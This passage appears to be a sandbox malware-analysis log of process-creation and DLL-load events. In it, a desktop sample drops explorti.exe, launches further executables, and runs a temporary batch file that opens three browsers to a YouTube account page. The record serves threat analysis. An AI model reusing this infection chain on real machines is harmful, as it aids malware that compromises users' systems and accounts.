Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2156,i,341108890584334873,10938886739958985081,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2728 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a97c0989-9dbf-48c2-9f5d-758311f95aef} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f3ef56af10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4488 -parentBuildID 20230927232528 -prefsHandle 1068 -prefMapHandle 3468 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbe57e93-4224-4c4c-a56e-574ee6529207} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f401a2df10 rdd
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7036 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7220 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7936 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\1000003002\e0dbbf79bf.exe "C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\B8C2.tmp\B8C3.tmp\B8F3.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\1000003002\e0dbbf79bf.exe "C:\Users\user\1000003002\e0dbbf79bf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2156,i,341108890584334873,10938886739958985081,262144 /prefetch:3
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a97c0989-9dbf-48c2-9f5d-758311f95aef} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f3ef56af10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4488 -parentBuildID 20230927232528 -prefsHandle 1068 -prefMapHandle 3468 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbe57e93-4224-4c4c-a56e-574ee6529207} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f401a2df10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2728 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7036 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7220 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7936 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\B8C2.tmp\B8C3.tmp\B8F3.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
